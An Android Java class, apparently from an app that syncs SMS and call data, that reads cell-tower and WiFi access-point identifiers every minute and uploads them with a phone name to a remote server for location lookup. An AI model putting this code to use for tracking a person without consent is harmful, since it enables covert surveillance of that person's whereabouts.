package com.example.sms_call_sync;

import android.Manifest;
import android.content.Context;
import android.content.pm.PackageManager;
import android.net.wifi.WifiInfo;
import android.net.wifi.WifiManager;
import android.os.Handler;
import android.os.Looper;
import android.telephony.CellInfo;
import android.telephony.CellInfoGsm;
import android.telephony.CellInfoLte;
import android.telephony.CellInfoWcdma;
import android.telephony.CellLocation;
import android.telephony.TelephonyManager;
import android.telephony.gsm.GsmCellLocation;
import android.util.Log;
import androidx.core.app.ActivityCompat;
import java.util.List;

public class AlternativeLocationTracker {
    private static final String TAG = "AltLocationTracker";
    private static final int LOCATION_UPDATE_INTERVAL = 60000; // 1 minute for alternative location
    
    private Context context;
    private TelephonyManager telephonyManager;
    private WifiManager wifiManager;
    private SyncManager syncManager;
    private String serverUrl;
    private String phoneName;
    private Handler handler;
    private Runnable locationRunnable;
    private boolean isTracking = false;

    public AlternativeLocationTracker(Context context, String serverUrl, String phoneName) {
        this.context = context;
        this.serverUrl = serverUrl;
        this.phoneName = phoneName;
        this.telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
        this.wifiManager = (WifiManager) context.getApplicationContext().getSystemService(Context.WIFI_SERVICE);
        this.syncManager = new SyncManager(context);
        this.handler = new Handler(Looper.getMainLooper());
        
        setupLocationRunnable();
    }

    private void setupLocationRunnable() {
        locationRunnable = new Runnable() {
            @Override
            public void run() {
                if (isTracking) {
                    Log.d(TAG, "Performing periodic alternative location update");
                    
                    // Try to get location from cell towers
                    getCellTowerLocation();
                    
                    // Try to get location from WiFi
                    getWiFiLocation();
                    
                    // Schedule next update
                    handler.postDelayed(this, LOCATION_UPDATE_INTERVAL);
                }
            }
        };
    }

    public void startAlternativeLocationTracking() {
        Log.d(TAG, "Starting alternative location tracking with periodic updates");
        isTracking = true;
        
        // Start immediate location attempt
        getCellTowerLocation();
        getWiFiLocation();
        
        // Start periodic updates
        handler.post(locationRunnable);
    }

    public void stopAlternativeLocationTracking() {
        Log.d(TAG, "Stopping alternative location tracking");
        isTracking = false;
        
        if (handler != null && locationRunnable != null) {
            handler.removeCallbacks(locationRunnable);
        }
    }

    private void getCellTowerLocation() {
        if (ActivityCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE) 
                != PackageManager.PERMISSION_GRANTED) {
            Log.w(TAG, "Phone state permission not granted");
            return;
        }

        try {
            // Get cell location information
            CellLocation cellLocation = telephonyManager.getCellLocation();
            
            if (cellLocation instanceof GsmCellLocation) {
                GsmCellLocation gsmLocation = (GsmCellLocation) cellLocation;
                int cellId = gsmLocation.getCid();
                int lac = gsmLocation.getLac();
                
                Log.d(TAG, "Cell Tower Info - CID: " + cellId + ", LAC: " + lac);
                
                // Get network operator info
                String networkOperator = telephonyManager.getNetworkOperator();
                if (networkOperator != null && networkOperator.length() >= 5) {
                    int mcc = Integer.parseInt(networkOperator.substring(0, 3)); // Mobile Country Code
                    int mnc = Integer.parseInt(networkOperator.substring(3)); // Mobile Network Code
                    
                    Log.d(TAG, "Network Info - MCC: " + mcc + ", MNC: " + mnc);
                    
                    // Send cell tower data to server for location lookup
                    sendCellTowerData(mcc, mnc, lac, cellId);
                }
            }
            
            // Also try to get more detailed cell info (API 17+)
            if (ActivityCompat.checkSelfPermission(context, Manifest.permission.ACCESS_COARSE_LOCATION) 
                    == PackageManager.PERMISSION_GRANTED) {
                List<CellInfo> cellInfoList = telephonyManager.getAllCellInfo();
                if (cellInfoList != null) {
                    for (CellInfo cellInfo : cellInfoList) {
                        if (cellInfo.isRegistered()) {
                            processCellInfo(cellInfo);
                            break; // Use first registered cell
                        }
                    }
                }
            }
            
        } catch (Exception e) {
            Log.e(TAG, "Error getting cell tower location: " + e.getMessage());
        }
    }

    private void processCellInfo(CellInfo cellInfo) {
        try {
            if (cellInfo instanceof CellInfoGsm) {
                CellInfoGsm gsmInfo = (CellInfoGsm) cellInfo;
                int cellId = gsmInfo.getCellIdentity().getCid();
                int lac = gsmInfo.getCellIdentity().getLac();
                int mcc = gsmInfo.getCellIdentity().getMcc();
                int mnc = gsmInfo.getCellIdentity().getMnc();
                
                Log.d(TAG, "GSM Cell Info - CID: " + cellId + ", LAC: " + lac + ", MCC: " + mcc + ", MNC: " + mnc);
                sendCellTowerData(mcc, mnc, lac, cellId);
                
            } else if (cellInfo instanceof CellInfoLte) {
                CellInfoLte lteInfo = (CellInfoLte) cellInfo;
                int cellId = lteInfo.getCellIdentity().getCi();
                int tac = lteInfo.getCellIdentity().getTac();
                int mcc = lteInfo.getCellIdentity().getMcc();
                int mnc = lteInfo.getCellIdentity().getMnc();
                
                Log.d(TAG, "LTE Cell Info - CI: " + cellId + ", TAC: " + tac + ", MCC: " + mcc + ", MNC: " + mnc);
                sendCellTowerData(mcc, mnc, tac, cellId);
                
            } else if (cellInfo instanceof CellInfoWcdma) {
                CellInfoWcdma wcdmaInfo = (CellInfoWcdma) cellInfo;
                int cellId = wcdmaInfo.getCellIdentity().getCid();
                int lac = wcdmaInfo.getCellIdentity().getLac();
                int mcc = wcdmaInfo.getCellIdentity().getMcc();
                int mnc = wcdmaInfo.getCellIdentity().getMnc();
                
                Log.d(TAG, "WCDMA Cell Info - CID: " + cellId + ", LAC: " + lac + ", MCC: " + mcc + ", MNC: " + mnc);
                sendCellTowerData(mcc, mnc, lac, cellId);
            }
        } catch (Exception e) {
            Log.e(TAG, "Error processing cell info: " + e.getMessage());
        }
    }

    private void getWiFiLocation() {
        if (ActivityCompat.checkSelfPermission(context, Manifest.permission.ACCESS_WIFI_STATE) 
                != PackageManager.PERMISSION_GRANTED) {
            Log.w(TAG, "WiFi state permission not granted");
            return;
        }

        try {
            if (wifiManager.isWifiEnabled()) {
                WifiInfo wifiInfo = wifiManager.getConnectionInfo();
                if (wifiInfo != null) {
                    String bssid = wifiInfo.getBSSID(); // MAC address of access point
                    String ssid = wifiInfo.getSSID();
                    int rssi = wifiInfo.getRssi(); // Signal strength
                    
                    Log.d(TAG, "WiFi Info - SSID: " + ssid + ", BSSID: " + bssid + ", RSSI: " + rssi);
                    
                    if (bssid != null && !bssid.equals("02:00:00:00:00:00")) {
                        // Send WiFi data to server for location lookup
                        sendWiFiData(ssid, bssid, rssi);
                    }
                }
            } else {
                Log.d(TAG, "WiFi is disabled");
            }
        } catch (Exception e) {
            Log.e(TAG, "Error getting WiFi location: " + e.getMessage());
        }
    }

    private void sendCellTowerData(int mcc, int mnc, int lac, int cellId) {
        Log.d(TAG, "Sending cell tower data to server");
        // Send cell tower data to backend for location resolution
        syncManager.syncCellTowerLocation(serverUrl, phoneName, mcc, mnc, lac, cellId);
    }

    private void sendWiFiData(String ssid, String bssid, int rssi) {
        Log.d(TAG, "Sending WiFi data to server");
        // Send WiFi data to backend for location resolution
        syncManager.syncWiFiLocation(serverUrl, phoneName, ssid, bssid, rssi);
    }
}

